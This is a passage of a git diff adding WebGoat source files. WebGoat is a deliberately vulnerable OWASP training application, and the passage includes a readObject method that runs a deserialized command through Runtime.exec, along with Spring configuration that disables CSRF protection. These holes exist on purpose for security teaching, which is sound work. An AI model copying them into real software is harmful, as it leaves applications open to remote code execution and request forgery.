requestedExecutionTime=" + + requestedExecutionTime + + "]"; + } + + /** + * Execute a task when de-serializing a saved or received object. + * + * @author stupid develop + */ + private void readObject(ObjectInputStream stream) throws Exception { + // unserialize data so taskName and taskAction are available + stream.defaultReadObject(); + + // do something with the data + log.info("restoring task: {}", taskName); + log.info("restoring time: {}", requestedExecutionTime); + + if (requestedExecutionTime != null + && (requestedExecutionTime.isBefore(LocalDateTime.now().minusMinutes(10)) + || requestedExecutionTime.isAfter(LocalDateTime.now()))) { + // do nothing is the time is not within 10 minutes after the object has been created + log.debug(this.toString()); + throw new IllegalArgumentException("outdated"); + } + + // condition is here to prevent you from destroying the goat altogether + if ((taskAction.startsWith("sleep") || taskAction.startsWith("ping")) + && taskAction.length() < 22) { + log.info("about to execute: {}", taskAction); + try { + Process p = Runtime.getRuntime().exec(taskAction); + BufferedReader in = new BufferedReader(new InputStreamReader(p.getInputStream())); + String line = null; + while ((line = in.readLine()) != null) { + log.info(line); + } + } catch (IOException e) { + log.error("IO Exception", e); + } + } + } +} diff --git a/src/main/java/org/owasp/webgoat/container/AjaxAuthenticationEntryPoint.java b/src/main/java/org/owasp/webgoat/container/AjaxAuthenticationEntryPoint.java new file mode 100644 index 000000000..1ed96e146 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/container/AjaxAuthenticationEntryPoint.java @@ -0,0 +1,59 @@ +/** + * ************************************************************************************************* + * + *

+ * + *

This file is part of WebGoat, an Open Web Application Security Project utility. For details, + * please see http://www.owasp.org/ + * + *

Copyright (c) 2002 - 2014 Bruce Mayhew + * + *

This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + *

This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; + * without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + *

You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + *

Getting Source ============== + * + *

Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository + * for free software projects. + */ +package org.owasp.webgoat.container; + +import java.io.IOException; +import javax.servlet.ServletException; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import org.springframework.security.core.AuthenticationException; +import org.springframework.security.web.authentication.LoginUrlAuthenticationEntryPoint; + +/** + * AjaxAuthenticationEntryPoint class. + * + * @author zupzup + */ +public class AjaxAuthenticationEntryPoint extends LoginUrlAuthenticationEntryPoint { + public AjaxAuthenticationEntryPoint(String loginFormUrl) { + super(loginFormUrl); + } + + @Override + public void commence( + HttpServletRequest request, + HttpServletResponse response, + AuthenticationException authException) + throws IOException, ServletException { + if (request.getHeader("x-requested-with") != null) { + response.sendError(401, authException.getMessage()); + } else { + super.commence(request, response, authException); + } + } +} diff --git a/src/main/java/org/owasp/webgoat/container/AsciiDoctorTemplateResolver.java b/src/main/java/org/owasp/webgoat/container/AsciiDoctorTemplateResolver.java new file mode 100644 index 000000000..723e8cb7c --- /dev/null +++ b/src/main/java/org/owasp/webgoat/container/AsciiDoctorTemplateResolver.java @@ -0,0 +1,172 @@ +/** + * ************************************************************************************************ + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, + * please see http://www.owasp.org/ + * + *

Copyright (c) 2002 - 2014 Bruce Mayhew + * + *

This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + *

This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; + * without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + *

You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + *

Getting Source ============== + * + *

Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository + * for free software projects. + * + *

+ * + * @author WebGoat + * @version $Id: $Id + * @since December 12, 2015 + */ +package org.owasp.webgoat.container; + +import static org.asciidoctor.Asciidoctor.Factory.create; + +import io.undertow.util.Headers; +import java.io.IOException; +import java.io.InputStream; +import java.io.InputStreamReader; +import java.io.StringWriter; +import java.util.HashMap; +import java.util.Locale; +import java.util.Map; +import java.util.Set; +import javax.servlet.http.HttpServletRequest; +import lombok.extern.slf4j.Slf4j; +import org.asciidoctor.Asciidoctor; +import org.asciidoctor.extension.JavaExtensionRegistry; +import org.owasp.webgoat.container.asciidoc.*; +import org.owasp.webgoat.container.i18n.Language; +import org.springframework.core.io.ResourceLoader; +import org.springframework.web.context.request.RequestContextHolder; +import org.springframework.web.context.request.ServletRequestAttributes; +import org.springframework.web.servlet.i18n.SessionLocaleResolver; +import org.thymeleaf.IEngineConfiguration; +import org.thymeleaf.templateresolver.FileTemplateResolver; +import org.thymeleaf.templateresource.ITemplateResource; +import org.thymeleaf.templateresource.StringTemplateResource; + +/** + * Thymeleaf resolver for AsciiDoc used in the lesson, can be used as follows inside a lesson file: + * + *

+ *

+ * + */ +@Slf4j +public class AsciiDoctorTemplateResolver extends FileTemplateResolver { + + private static final Asciidoctor asciidoctor = create(); + private static final String PREFIX = "doc:"; + + private final Language language; + private final ResourceLoader resourceLoader; + + public AsciiDoctorTemplateResolver(Language language, ResourceLoader resourceLoader) { + this.resourceLoader = resourceLoader; + this.language = language; + setResolvablePatterns(Set.of(PREFIX + "*")); + } + + @Override + protected ITemplateResource computeTemplateResource( + IEngineConfiguration configuration, + String ownerTemplate, + String template, + String resourceName, + String characterEncoding, + Map templateResolutionAttributes) { + var templateName = resourceName.substring(PREFIX.length()); + log.debug("template used: {}", templateName); + try (InputStream is = getInputStream(templateName)) { + JavaExtensionRegistry extensionRegistry = asciidoctor.javaExtensionRegistry(); + extensionRegistry.inlineMacro("webWolfLink", WebWolfMacro.class); + extensionRegistry.inlineMacro("webWolfRootLink", WebWolfRootMacro.class); + extensionRegistry.inlineMacro("webGoatVersion", WebGoatVersionMacro.class); + extensionRegistry.inlineMacro("webGoatTempDir", WebGoatTmpDirMacro.class); + extensionRegistry.inlineMacro("operatingSystem", OperatingSystemMacro.class); + extensionRegistry.inlineMacro("username", UsernameMacro.class); + + StringWriter writer = new StringWriter(); + asciidoctor.convert(new InputStreamReader(is), writer, createAttributes()); + return new StringTemplateResource(writer.getBuffer().toString()); + } catch (IOException e) { + return new StringTemplateResource( + "
Unable to find documentation for: " + templateName + "
"); + } + } + + private InputStream getInputStream(String templateName) throws IOException { + log.debug("locale: {}", language.getLocale().getLanguage()); + String computedResourceName = + computeResourceName(templateName, language.getLocale().getLanguage()); + if (resourceLoader + .getResource("classpath:/" + computedResourceName) + .isReadable() /*isFile()*/) { + log.debug("localized file exists"); + return resourceLoader.getResource("classpath:/" + computedResourceName).getInputStream(); + } else { + log.debug("using english template"); + return resourceLoader.getResource("classpath:/" + templateName).getInputStream(); + } + } + + private String computeResourceName(String resourceName, String language) { + String computedResourceName; + if (language.equals("en")) { + computedResourceName = resourceName; + } else { + computedResourceName = resourceName.replace(".adoc", "_".concat(language).concat(".adoc")); + } + log.debug("computed local file name: {}", computedResourceName); + log.debug( + "file exists: {}", + resourceLoader.getResource("classpath:/" + computedResourceName).isReadable()); + return computedResourceName; + } + + private Map createAttributes() { + Map attributes = new HashMap<>(); + attributes.put("source-highlighter", "coderay"); + attributes.put("backend", "xhtml"); + attributes.put("lang", determineLanguage()); + attributes.put("icons", org.asciidoctor.Attributes.FONT_ICONS); + + Map options = new HashMap<>(); + options.put("attributes", attributes); + + return options; + } + + private String determineLanguage() { + HttpServletRequest request = + ((ServletRequestAttributes) RequestContextHolder.currentRequestAttributes()).getRequest(); + + Locale browserLocale = + (Locale) + request.getSession().getAttribute(SessionLocaleResolver.LOCALE_SESSION_ATTRIBUTE_NAME); + if (null != browserLocale) { + log.debug("browser locale {}", browserLocale); + return browserLocale.getLanguage(); + } else { + String langHeader = request.getHeader(Headers.ACCEPT_LANGUAGE_STRING); + if (null != langHeader) { + log.debug("browser locale {}", langHeader); + return langHeader.substring(0, 2); + } else { + log.debug("browser default english"); + return "en"; + } + } + } +} diff --git a/src/main/java/org/owasp/webgoat/container/DatabaseConfiguration.java b/src/main/java/org/owasp/webgoat/container/DatabaseConfiguration.java new file mode 100644 index 000000000..ef54ff007 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/container/DatabaseConfiguration.java @@ -0,0 +1,67 @@ +package org.owasp.webgoat.container; + +import java.util.Map; +import java.util.function.Function; +import javax.sql.DataSource; +import lombok.RequiredArgsConstructor; +import lombok.extern.slf4j.Slf4j; +import org.flywaydb.core.Flyway; +import org.owasp.webgoat.container.lessons.LessonScanner; +import org.owasp.webgoat.container.service.RestartLessonService; +import org.springframework.boot.autoconfigure.jdbc.DataSourceProperties; +import org.springframework.context.annotation.Bean; +import org.springframework.context.annotation.Configuration; +import org.springframework.context.annotation.Primary; +import org.springframework.jdbc.datasource.DriverManagerDataSource; + +@Configuration +@RequiredArgsConstructor +@Slf4j +public class DatabaseConfiguration { + + private final DataSourceProperties properties; + private final LessonScanner lessonScanner; + + @Bean + @Primary + public DataSource dataSource() { + DriverManagerDataSource dataSource = new DriverManagerDataSource(); + dataSource.setDriverClassName(properties.getDriverClassName()); + dataSource.setUrl(properties.getUrl()); + dataSource.setUsername(properties.getUsername()); + dataSource.setPassword(properties.getPassword()); + return dataSource; + } + + /** + * Define 2 Flyway instances, 1 for WebGoat itself which it uses for internal storage like users + * and 1 for lesson specific tables we use. This way we clean the data in the lesson database + * quite easily see {@link RestartLessonService#restartLesson()} for how we clean the lesson + * related tables. + */ + @Bean(initMethod = "migrate") + public Flyway flyWayContainer() { + return Flyway.configure() + .configuration(Map.of("driver", properties.getDriverClassName())) + .dataSource(dataSource()) + .schemas("container") + .locations("db/container") + .load(); + } + + @Bean + public Function flywayLessons(LessonDataSource lessonDataSource) { + return schema -> + Flyway.configure() + .configuration(Map.of("driver", properties.getDriverClassName())) + .schemas(schema) + .dataSource(lessonDataSource) + .locations("lessons") + .load(); + } + + @Bean + public LessonDataSource lessonDataSource() { + return new LessonDataSource(dataSource()); + } +} diff --git a/src/main/java/org/owasp/webgoat/container/HammerHead.java b/src/main/java/org/owasp/webgoat/container/HammerHead.java new file mode 100644 index 000000000..04fd73ce5 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/container/HammerHead.java @@ -0,0 +1,56 @@ +package org.owasp.webgoat.container; + +import lombok.AllArgsConstructor; +import org.owasp.webgoat.container.session.Course; +import org.springframework.stereotype.Controller; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RequestMethod; +import org.springframework.web.servlet.ModelAndView; + +/** + * ************************************************************************************************* + * + *

+ * + *

This file is part of WebGoat, an Open Web Application Security Project utility. For details, + * please see http://www.owasp.org/ + * + *

Copyright (c) 2002 - 2014 Bruce Mayhew + * + *

This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + *

This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; + * without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + *

You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + *

Getting Source ============== + * + *

Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository + * for free software projects. + * + * @author Jeff Williams + * @author Bruce Mayhew + * @author Nanne Baars + * @version $Id: $Id + * @since October 28, 2003 + */ +@Controller +@AllArgsConstructor +public class HammerHead { + + private final Course course; + + /** Entry point for WebGoat, redirects to the first lesson found within the course. */ + @RequestMapping( + path = "/attack", + method = {RequestMethod.GET, RequestMethod.POST}) + public ModelAndView attack() { + return new ModelAndView("redirect:" + "start.mvc" + course.getFirstLesson().getLink()); + } +} diff --git a/src/main/java/org/owasp/webgoat/container/LessonDataSource.java b/src/main/java/org/owasp/webgoat/container/LessonDataSource.java new file mode 100644 index 000000000..c09f69d12 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/container/LessonDataSource.java @@ -0,0 +1,70 @@ +package org.owasp.webgoat.container; + +import java.io.PrintWriter; +import java.lang.reflect.Proxy; +import java.sql.Connection; +import java.sql.SQLException; +import java.sql.SQLFeatureNotSupportedException; +import java.util.logging.Logger; +import javax.sql.DataSource; +import org.owasp.webgoat.container.lessons.LessonConnectionInvocationHandler; +import org.springframework.jdbc.datasource.ConnectionProxy; + +public class LessonDataSource implements DataSource { + + private final DataSource originalDataSource; + + public LessonDataSource(DataSource dataSource) { + this.originalDataSource = dataSource; + } + + @Override + public Connection getConnection() throws SQLException { + var targetConnection = originalDataSource.getConnection(); + return (Connection) + Proxy.newProxyInstance( + ConnectionProxy.class.getClassLoader(), + new Class[] {ConnectionProxy.class}, + new LessonConnectionInvocationHandler(targetConnection)); + } + + @Override + public Connection getConnection(String username, String password) throws SQLException { + return originalDataSource.getConnection(username, password); + } + + @Override + public PrintWriter getLogWriter() throws SQLException { + return originalDataSource.getLogWriter(); + } + + @Override + public void setLogWriter(PrintWriter out) throws SQLException { + originalDataSource.setLogWriter(out); + } + + @Override + public void setLoginTimeout(int seconds) throws SQLException { + originalDataSource.setLoginTimeout(seconds); + } + + @Override + public int getLoginTimeout() throws SQLException { + return originalDataSource.getLoginTimeout(); + } + + @Override + public Logger getParentLogger() throws SQLFeatureNotSupportedException { + return originalDataSource.getParentLogger(); + } + + @Override + public T unwrap(Class clazz) throws SQLException { + return originalDataSource.unwrap(clazz); + } + + @Override + public boolean isWrapperFor(Class clazz) throws SQLException { + return originalDataSource.isWrapperFor(clazz); + } +} diff --git a/src/main/java/org/owasp/webgoat/container/LessonTemplateResolver.java b/src/main/java/org/owasp/webgoat/container/LessonTemplateResolver.java new file mode 100644 index 000000000..cfd569720 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/container/LessonTemplateResolver.java @@ -0,0 +1,90 @@ +/** + * ************************************************************************************************ + * + *

+ * + *

This file is part of WebGoat, an Open Web Application Security Project utility. For details, + * please see http://www.owasp.org/ + * + *

Copyright (c) 2002 - 2014 Bruce Mayhew + * + *

This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + *

This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; + * without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + *

You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + *

Getting Source ============== + * + *

Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository + * for free software projects. + * + * @author WebGoat + * @version $Id: $Id + * @since October 28, 2003 + */ +package org.owasp.webgoat.container; + +import java.io.IOException; +import java.nio.charset.StandardCharsets; +import java.util.HashMap; +import java.util.Map; +import java.util.Set; +import lombok.extern.slf4j.Slf4j; +import org.springframework.core.io.ResourceLoader; +import org.thymeleaf.IEngineConfiguration; +import org.thymeleaf.templateresolver.FileTemplateResolver; +import org.thymeleaf.templateresource.ITemplateResource; +import org.thymeleaf.templateresource.StringTemplateResource; + +/** + * Dynamically resolve a lesson. In the html file this can be invoked as: + *

+ * + * + *

Thymeleaf will invoke this resolver based on the prefix and this implementation will resolve + * the html in the plugins directory + */ +@Slf4j +public class LessonTemplateResolver extends FileTemplateResolver { + + private static final String PREFIX = "lesson:"; + private ResourceLoader resourceLoader; + private Map resources = new HashMap<>(); + + public LessonTemplateResolver(ResourceLoader resourceLoader) { + this.resourceLoader = resourceLoader; + setResolvablePatterns(Set.of(PREFIX + "*")); + } + + @Override + protected ITemplateResource computeTemplateResource( + IEngineConfiguration configuration, + String ownerTemplate, + String template, + String resourceName, + String characterEncoding, + Map templateResolutionAttributes) { + var templateName = resourceName.substring(PREFIX.length()); + byte[] resource = resources.get(templateName); + if (resource == null) { + try { + resource = + resourceLoader + .getResource("classpath:/" + templateName) + .getInputStream() + .readAllBytes(); + } catch (IOException e) { + log.error("Unable to find lesson HTML: {}", template); + } + resources.put(templateName, resource); + } + return new StringTemplateResource(new String(resource, StandardCharsets.UTF_8)); + } +} diff --git a/src/main/java/org/owasp/webgoat/container/MvcConfiguration.java b/src/main/java/org/owasp/webgoat/container/MvcConfiguration.java new file mode 100644 index 000000000..114157a90 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/container/MvcConfiguration.java @@ -0,0 +1,260 @@ +/** + * ************************************************************************************************ + * + *

+ * + *

This file is part of WebGoat, an Open Web Application Security Project utility. For details, + * please see http://www.owasp.org/ + * + *

Copyright (c) 2002 - 2014 Bruce Mayhew + * + *

This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + *

This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; + * without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + *

You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + *

Getting Source ============== + * + *

Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository + * for free software projects. + * + * @author WebGoat + * @version $Id: $Id + * @since October 28, 2003 + */ +package org.owasp.webgoat.container; + +import java.io.IOException; +import java.nio.charset.StandardCharsets; +import java.util.Map; +import java.util.Set; +import lombok.RequiredArgsConstructor; +import lombok.extern.slf4j.Slf4j; +import org.owasp.webgoat.container.i18n.Language; +import org.owasp.webgoat.container.i18n.Messages; +import org.owasp.webgoat.container.i18n.PluginMessages; +import org.owasp.webgoat.container.lessons.LessonScanner; +import org.owasp.webgoat.container.session.LabelDebugger; +import org.springframework.context.ApplicationContext; +import org.springframework.context.annotation.Bean; +import org.springframework.context.annotation.Configuration; +import org.springframework.core.io.ResourceLoader; +import org.springframework.core.io.support.ResourcePatternResolver; +import org.springframework.web.servlet.LocaleResolver; +import org.springframework.web.servlet.ViewResolver; +import org.springframework.web.servlet.config.annotation.InterceptorRegistry; +import org.springframework.web.servlet.config.annotation.ResourceHandlerRegistry; +import org.springframework.web.servlet.config.annotation.ViewControllerRegistry; +import org.springframework.web.servlet.config.annotation.WebMvcConfigurer; +import org.springframework.web.servlet.i18n.LocaleChangeInterceptor; +import org.springframework.web.servlet.i18n.SessionLocaleResolver; +import org.thymeleaf.IEngineConfiguration; +import org.thymeleaf.extras.springsecurity5.dialect.SpringSecurityDialect; +import org.thymeleaf.spring5.SpringTemplateEngine; +import org.thymeleaf.spring5.templateresolver.SpringResourceTemplateResolver; +import org.thymeleaf.spring5.view.ThymeleafViewResolver; +import org.thymeleaf.templatemode.TemplateMode; +import org.thymeleaf.templateresolver.FileTemplateResolver; +import org.thymeleaf.templateresolver.ITemplateResolver; +import org.thymeleaf.templateresource.ITemplateResource; +import org.thymeleaf.templateresource.StringTemplateResource; + +/** Configuration for Spring MVC */ +@Configuration +@RequiredArgsConstructor +@Slf4j +public class MvcConfiguration implements WebMvcConfigurer { + + private static final String UTF8 = "UTF-8"; + + private final LessonScanner lessonScanner; + + @Override + public void addViewControllers(ViewControllerRegistry registry) { + registry.addViewController("/login").setViewName("login"); + registry.addViewController("/lesson_content").setViewName("lesson_content"); + registry.addViewController("/start.mvc").setViewName("main_new"); + registry.addViewController("/scoreboard").setViewName("scoreboard"); + } + + @Bean + public ViewResolver viewResolver(SpringTemplateEngine thymeleafTemplateEngine) { + ThymeleafViewResolver resolver = new ThymeleafViewResolver(); + resolver.setTemplateEngine(thymeleafTemplateEngine); + resolver.setCharacterEncoding(StandardCharsets.UTF_8.displayName()); + return resolver; + } + + /** + * Responsible for loading lesson templates based on Thymeleaf, for example: + * + *

+ */ + @Bean + public ITemplateResolver lessonThymeleafTemplateResolver(ResourceLoader resourceLoader) { + var resolver = + new FileTemplateResolver() { + @Override + protected ITemplateResource computeTemplateResource( + IEngineConfiguration configuration, + String ownerTemplate, + String template, + String resourceName, + String characterEncoding, + Map templateResolutionAttributes) { + try (var is = + resourceLoader.getResource("classpath:" + resourceName).getInputStream()) { + return new StringTemplateResource( + new String(is.readAllBytes(), StandardCharsets.UTF_8)); + } catch (IOException e) { + return null; + } + } + }; + resolver.setOrder(1); + return resolver; + } + + /** Loads all normal WebGoat specific Thymeleaf templates */ + @Bean + public ITemplateResolver springThymeleafTemplateResolver(ApplicationContext applicationContext) { + SpringResourceTemplateResolver resolver = new SpringResourceTemplateResolver(); + resolver.setPrefix("classpath:/webgoat/templates/"); + resolver.setSuffix(".html"); + resolver.setTemplateMode(TemplateMode.HTML); + resolver.setOrder(2); + resolver.setCharacterEncoding(UTF8); + resolver.setApplicationContext(applicationContext); + return resolver; + } + + /** Loads the html for the complete lesson, see lesson_content.html */ + @Bean + public LessonTemplateResolver lessonTemplateResolver(ResourceLoader resourceLoader) { + LessonTemplateResolver resolver = new LessonTemplateResolver(resourceLoader); + resolver.setOrder(0); + resolver.setCacheable(false); + resolver.setCharacterEncoding(UTF8); + return resolver; + } + + /** Loads the lesson asciidoc. */ + @Bean + public AsciiDoctorTemplateResolver asciiDoctorTemplateResolver( + Language language, ResourceLoader resourceLoader) { + log.debug("template locale {}", language); + AsciiDoctorTemplateResolver resolver = + new AsciiDoctorTemplateResolver(language, resourceLoader); + resolver.setCacheable(false); + resolver.setOrder(1); + resolver.setCharacterEncoding(UTF8); + return resolver; + } + + @Bean + public SpringTemplateEngine thymeleafTemplateEngine( + ITemplateResolver springThymeleafTemplateResolver, + LessonTemplateResolver lessonTemplateResolver, + AsciiDoctorTemplateResolver asciiDoctorTemplateResolver, + ITemplateResolver lessonThymeleafTemplateResolver) { + SpringTemplateEngine engine = new SpringTemplateEngine(); + engine.setEnableSpringELCompiler(true); + engine.addDialect(new SpringSecurityDialect()); + engine.setTemplateResolvers( + Set.of( + lessonTemplateResolver, + asciiDoctorTemplateResolver, + lessonThymeleafTemplateResolver, + springThymeleafTemplateResolver)); + return engine; + } + + @Override + public void addResourceHandlers(ResourceHandlerRegistry registry) { + // WebGoat internal + registry.addResourceHandler("/css/**").addResourceLocations("classpath:/webgoat/static/css/"); + registry.addResourceHandler("/js/**").addResourceLocations("classpath:/webgoat/static/js/"); + registry + .addResourceHandler("/plugins/**") + .addResourceLocations("classpath:/webgoat/static/plugins/"); + registry + .addResourceHandler("/fonts/**") + .addResourceLocations("classpath:/webgoat/static/fonts/"); + + // WebGoat lessons + registry + .addResourceHandler("/images/**") + .addResourceLocations( + lessonScanner.applyPattern("classpath:/lessons/%s/images/").toArray(String[]::new)); + registry + .addResourceHandler("/lesson_js/**") + .addResourceLocations( + lessonScanner.applyPattern("classpath:/lessons/%s/js/").toArray(String[]::new)); + registry + .addResourceHandler("/lesson_css/**") + .addResourceLocations( + lessonScanner.applyPattern("classpath:/lessons/%s/css/").toArray(String[]::new)); + registry + .addResourceHandler("/lesson_templates/**") + .addResourceLocations( + lessonScanner.applyPattern("classpath:/lessons/%s/templates/").toArray(String[]::new)); + registry + .addResourceHandler("/video/**") + .addResourceLocations( + lessonScanner.applyPattern("classpath:/lessons/%s/video/").toArray(String[]::new)); + } + + @Bean + public PluginMessages pluginMessages( + Messages messages, Language language, ResourcePatternResolver resourcePatternResolver) { + PluginMessages pluginMessages = new PluginMessages(messages, language, resourcePatternResolver); + pluginMessages.setDefaultEncoding("UTF-8"); + pluginMessages.setBasenames("i18n/WebGoatLabels"); + pluginMessages.setFallbackToSystemLocale(false); + return pluginMessages; + } + + @Bean + public Language language(LocaleResolver localeResolver) { + return new Language(localeResolver); + } + + @Bean + public LocaleResolver localeResolver() { + SessionLocaleResolver localeResolver = new SessionLocaleResolver(); + return localeResolver; + } + + @Bean + public LocaleChangeInterceptor localeChangeInterceptor() { + LocaleChangeInterceptor lci = new LocaleChangeInterceptor(); + lci.setParamName("lang"); + return lci; + } + + @Override + public void addInterceptors(InterceptorRegistry registry) { + registry.addInterceptor(localeChangeInterceptor()); + } + + @Bean + public Messages messageSource(Language language) { + Messages messages = new Messages(language); + messages.setDefaultEncoding("UTF-8"); + messages.setBasename("classpath:i18n/messages"); + messages.setFallbackToSystemLocale(false); + return messages; + } + + @Bean + public LabelDebugger labelDebugger() { + return new LabelDebugger(); + } +} diff --git a/src/main/java/org/owasp/webgoat/container/WebGoat.java b/src/main/java/org/owasp/webgoat/container/WebGoat.java new file mode 100644 index 000000000..e721fddee --- /dev/null +++ b/src/main/java/org/owasp/webgoat/container/WebGoat.java @@ -0,0 +1,74 @@ +/** + * ************************************************************************************************ + * + *

+ * + *

This file is part of WebGoat, an Open Web Application Security Project utility. For details, + * please see http://www.owasp.org/ + * + *

Copyright (c) 2002 - 2014 Bruce Mayhew + * + *

This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + *

This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; + * without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + *

You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + *

Getting Source ============== + * + *

Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository + * for free software projects. + * + * @author WebGoat + * @version $Id: $Id + * @since October 28, 2003 + */ +package org.owasp.webgoat.container; + +import java.io.File; +import org.owasp.webgoat.container.session.UserSessionData; +import org.owasp.webgoat.container.session.WebSession; +import org.springframework.beans.factory.annotation.Value; +import org.springframework.boot.autoconfigure.EnableAutoConfiguration; +import org.springframework.context.annotation.Bean; +import org.springframework.context.annotation.ComponentScan; +import org.springframework.context.annotation.Configuration; +import org.springframework.context.annotation.PropertySource; +import org.springframework.context.annotation.Scope; +import org.springframework.context.annotation.ScopedProxyMode; +import org.springframework.web.client.RestTemplate; + +@Configuration +@ComponentScan(basePackages = {"org.owasp.webgoat.container", "org.owasp.webgoat.lessons"}) +@PropertySource("classpath:application-webgoat.properties") +@EnableAutoConfiguration +public class WebGoat { + + @Bean(name = "pluginTargetDirectory") + public File pluginTargetDirectory(@Value("${webgoat.user.directory}") final String webgoatHome) { + return new File(webgoatHome); + } + + @Bean + @Scope(value = "session", proxyMode = ScopedProxyMode.TARGET_CLASS) + public WebSession webSession() { + return new WebSession(); + } + + @Bean + @Scope(value = "session", proxyMode = ScopedProxyMode.TARGET_CLASS) + public UserSessionData userSessionData() { + return new UserSessionData("test", "data"); + } + + @Bean + public RestTemplate restTemplate() { + return new RestTemplate(); + } +} diff --git a/src/main/java/org/owasp/webgoat/container/WebSecurityConfig.java b/src/main/java/org/owasp/webgoat/container/WebSecurityConfig.java new file mode 100644 index 000000000..59084aa2f --- /dev/null +++ b/src/main/java/org/owasp/webgoat/container/WebSecurityConfig.java @@ -0,0 +1,108 @@ +/** + * ************************************************************************************************ + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, + * please see http://www.owasp.org/ + * + *

Copyright (c) 2002 - 2014 Bruce Mayhew + * + *

This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + *

This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; + * without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + *

You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + *

Getting Source ============== + * + *

Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository + * for free software projects. + * + *

+ * + * @author WebGoat + * @version $Id: $Id + * @since December 12, 2015 + */ +package org.owasp.webgoat.container; + +import lombok.AllArgsConstructor; +import org.owasp.webgoat.container.users.UserService; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.context.annotation.Bean; +import org.springframework.context.annotation.Configuration; +import org.springframework.security.authentication.AuthenticationManager; +import org.springframework.security.config.annotation.authentication.builders.AuthenticationManagerBuilder; +import org.springframework.security.config.annotation.web.builders.HttpSecurity; +import org.springframework.security.config.annotation.web.configuration.EnableWebSecurity; +import org.springframework.security.config.annotation.web.configuration.WebSecurityConfigurerAdapter; +import org.springframework.security.config.annotation.web.configurers.ExpressionUrlAuthorizationConfigurer; +import org.springframework.security.core.userdetails.UserDetailsService; +import org.springframework.security.crypto.password.NoOpPasswordEncoder; + +/** Security configuration for WebGoat. */ +@Configuration +@AllArgsConstructor +@EnableWebSecurity +public class WebSecurityConfig extends WebSecurityConfigurerAdapter { + + private final UserService userDetailsService; + + @Override + protected void configure(HttpSecurity http) throws Exception { + ExpressionUrlAuthorizationConfigurer.ExpressionInterceptUrlRegistry security = + http.authorizeRequests() + .antMatchers( + "/css/**", + "/images/**", + "/js/**", + "fonts/**", + "/plugins/**", + "/registration", + "/register.mvc", + "/actuator/**") + .permitAll() + .anyRequest() + .authenticated(); + security + .and() + .formLogin() + .loginPage("/login") + .defaultSuccessUrl("/welcome.mvc", true) + .usernameParameter("username") + .passwordParameter("password") + .permitAll(); + security.and().logout().deleteCookies("JSESSIONID").invalidateHttpSession(true); + security.and().csrf().disable(); + + http.headers().cacheControl().disable(); + http.exceptionHandling().authenticationEntryPoint(new 